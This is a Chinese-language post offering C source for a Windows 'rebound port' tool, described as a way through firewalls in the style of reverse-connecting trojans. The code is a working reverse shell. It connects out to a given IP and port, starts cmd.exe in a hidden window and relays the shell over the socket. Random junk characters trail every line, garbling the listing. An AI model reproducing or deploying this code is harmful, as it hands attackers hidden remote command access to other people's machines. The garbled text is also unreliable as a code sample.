这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u/apnAW@M
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/* ============================== &-L9ws
Rebound port in Windows NT ao"Z%#Jb~
By wind,2006/7 -FS!v^
===============================*/ F8&L'@m9>
#include @o6!
#include i(YR-vYK
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#pragma comment(lib,"wsock32.lib") -Dwe,N"{2
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void OutputShell(); ybv]wBpM:
SOCKET sClient; ;!j/t3#a
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }O\g<ke:u
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void main(int argc,char **argv) j>3Fwg9V
{ bsc#Oq]
WSADATA stWsaData; [W99}bi$
int nRet; g,B@*2Uj
SOCKADDR_IN stSaiClient,stSaiServer; } x
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if(argc != 3) JyePI:B&)j
{ >#y1(\e
printf("Useage:\n\rRebound DestIP DestPort\n"); W~5gTiBZ]
return; ab[V->>%
} s$~H{za
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WSAStartup(MAKEWORD(2,2),&stWsaData); CdKs+x&tZ
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]YY4{E(9d
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stSaiClient.sin_family = AF_INET; AD>/#Ul
stSaiClient.sin_port = htons(0); 9hgIQl
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1[-RIN;U8
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !Pu7%nV.
{ \==Mgy2J8
printf("Bind Socket Failed!\n"); X;v{,P=J
return; 4M;S&LA
} Pr,C)uch
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stSaiServer.sin_family = AF_INET; q)PSHr=Z
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); yMOYTN@]
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); D>kkA|>
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) tPDB'S:&3
{ X^C $|:
printf("Connect Error!"); ]j.!
return; m|[cEZxHB
} }mS
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OutputShell(); ltHuN;C\
} n.A*(@noe
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void OutputShell() Q;@w\_OR
{ HS|x
char szBuff[1024]; xEB4oQ5
SECURITY_ATTRIBUTES stSecurityAttributes; v%QCp
OSVERSIONINFO stOsversionInfo; <#~n+,
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; R%JEx3)0m
STARTUPINFO stStartupInfo; USXPa[
char *szShell; BT(G9Pj;
PROCESS_INFORMATION stProcessInformation; hP/uS%X
unsigned long lBytesRead; <JZa
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .yb8<q s
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); V{{UsEVO
stSecurityAttributes.lpSecurityDescriptor = 0; WX+@<y}%
stSecurityAttributes.bInheritHandle = TRUE; t5QGXj
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gIcPKj"8${
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ik0w\*
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6,]2;'
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?#__#
stStartupInfo.wShowWindow = SW_HIDE; #|lVQ@=
stStartupInfo.hStdInput = hReadPipe; QYWl`Yqf
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; l> >BeZ
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GetVersionEx(&stOsversionInfo); .\)p3pC)
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switch(stOsversionInfo.dwPlatformId) 94XRf"^
{ )
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case 1: Uzk_ae
szShell = "command.com"; cr{dl\Na
break; hy:K) _
default: bre6SP@
szShell = "cmd.exe"; :Czvwp{z
break; VE/~tT;
} 1xwq:vFC.
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \g|;7&%l3
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send(sClient,szMsg,77,0); qj?I*peK)
while(1) wJF$<f7P
{ UOIZ8Po
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <7X+-%yb;
if(lBytesRead) Rh7=,=u
{ taOsC!Bp
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,I[A~
send(sClient,szBuff,lBytesRead,0); xX])IZD
} i4
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else 5?|PC.
{ .T*7nw
lBytesRead=recv(sClient,szBuff,1024,0); $w<~W1\:
if(lBytesRead<=0) break; }Z\+Qc<<
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); UmQ'=@^kR
} ZP%Bu2xd
} WTh|7&
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return; L G9#D
}